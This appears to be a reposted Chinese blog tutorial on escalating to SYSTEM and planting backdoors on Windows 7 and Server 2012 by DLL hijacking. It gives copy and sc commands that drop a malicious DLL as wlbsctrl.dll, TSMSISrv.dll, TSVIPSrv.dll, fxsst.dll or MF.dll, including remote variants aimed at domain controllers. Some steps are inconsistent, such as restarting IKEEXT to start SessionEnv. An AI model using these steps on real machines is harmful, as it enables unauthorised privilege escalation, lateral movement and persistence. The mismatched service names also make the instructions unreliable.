win7提权system与后门

本是古典何须时尚 2022-12-22 04:46 263阅读 0赞

### CATALOG ###

*  前言
 *  操作过程
 *   *  1.利用wlbsctrl.dll提权
     *  2.利用TSMSISrv.dll和TSVIPSrv.dll提权
     *  3.实现后门
 *  查考文章

# 前言 #

今天看了一篇文章，发现文章中的利用方法只能在win7上使用，无法在win10上使用，特做记录。  
实现效果：  
![在这里插入图片描述][20201118165947364.png_pic_center]

得到后门执行并得到system权限。

# 操作过程 #

## 1.利用wlbsctrl.dll提权 ##

IKEEXT(IKE and AuthIP IPsec Keying Modules)服务在启动时会加载wlbsctrl.dll，但Windows系统默认配置下该dll不存在，如果我们将自己的dll放在这个位置，在服务启动时就能加载该dll.

先下载恶意dll到本地，然后将其挪到C:\\Windows\\System32\\并命名为wlbsctrl.dll：  
参考命令如下：

copy calc_x64.dll C:\Windows\System32\wlbsctrl.dll
    sc query IKEEXT
    sc stop IKEEXT
    sc start IKEEXT

远程执行：

copy calc_x64.dll \\TARGET\C$\Windows\System32\wlbsctrl.dll
    sc \\TARGET query IKEEXT
    sc \\TARGET stop IKEEXT
    sc \\TARGET start IKEEXT

## 2.利用TSMSISrv.dll和TSVIPSrv.dll提权 ##

> SessionEnv(Remote Desktop Configuration)服务在启动时会加载C:\\Windows\\System32\\TSMSISrv.dll和C:\\Windows\\System32\\TSVIPSrv.dll，但Windows系统默认配置下这两个dll不存在，如果我们将自己的dll放在这个位置，在服务启动时就能加载该dll,`启动SessionEnv服务方法为sc start IKEEXT。`

利用命令：

copy calc_x64.dll C:\Windows\System32\TSMSISrv.dll
    sc query IKEEXT
    sc stop IKEEXT
    sc start IKEEXT
    
    或者
    
    copy calc_x64.dll C:\Windows\System32\TSVIPSrv.dll
    sc query IKEEXT
    sc stop IKEEXT
    sc start IKEEXT
    远程执行的用法：
    
    copy calc_x64.dll \\TARGET\C$\Windows\System32\TSMSISrv.dll
    sc \\TARGET query IKEEXT
    sc \\TARGET stop IKEEXT
    sc \\TARGET start IKEEXT
    或者
    
    copy calc_x64.dll \\TARGET\C$\Windows\System32\TSVIPSrv.dll
    sc \\TARGET query IKEEXT
    sc \\TARGET stop IKEEXT
    sc \\TARGET start IKEEXT

## 3.实现后门 ##

如果系统开启了远程桌面的功能(支持远程连接到此计算机)，就会开启SessionEnv(Remote Desktop Configuration)服务，如果我们在C:\\Windows\\System32\\下写入TSMSISrv.dll或TSVIPSrv.dll，就能在服务启动时加载该dll，实现代码执行。

> 应用场景：  
> 获得域控制器文件的远程访问权限，但无法远程执行命令.

1.如果域控制器未开启远程桌面的功能，在系统启动时劫持Explorer.exe对fxsst.dll的加载  
写入文件C:\\Windows\\fxsst.dll

2.如果域控制器开启了远程桌面的功能，在系统启动时将开启SessionEnv服务，加载TSMSISrv.dll或TSVIPSrv.dll  
写入文件C:\\Windows\\System32\\TSMSISrv.dll或C:\\Windows\\System32\\TSMSISrv.dll

3.如果域控制器开启了远程桌面的功能，在用户进行远程桌面连接时将会加载MF.dll  
实际测试：

测试环境： Server2012R2 x64

写入文件C:\\Windows\\System32\\MF.dll，命令如下:

copy calc\_x64.dll C:\\Windows\\System32\\MF.dll

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70_pic_center]

# 查考文章 #

[《Lateral Movement — SCM and DLL Hijacking Primer》的利用扩展][Lateral Movement_SCM and DLL Hijacking Primer]

[20201118165947364.png_pic_center]: /images/20221120/6ef82158d1264d0dbc7a60174c088dfc.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70_pic_center]: https://img-blog.csdnimg.cn/20201117175103648.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw,size_16,color_FFFFFF,t_70#pic_center
[Lateral Movement_SCM and DLL Hijacking Primer]: https://3gstudent.github.io/3gstudent.github.io/Lateral-Movement-SCM-and-DLL-Hijacking-Primer-%E7%9A%84%E5%88%A9%E7%94%A8%E6%89%A9%E5%B1%95/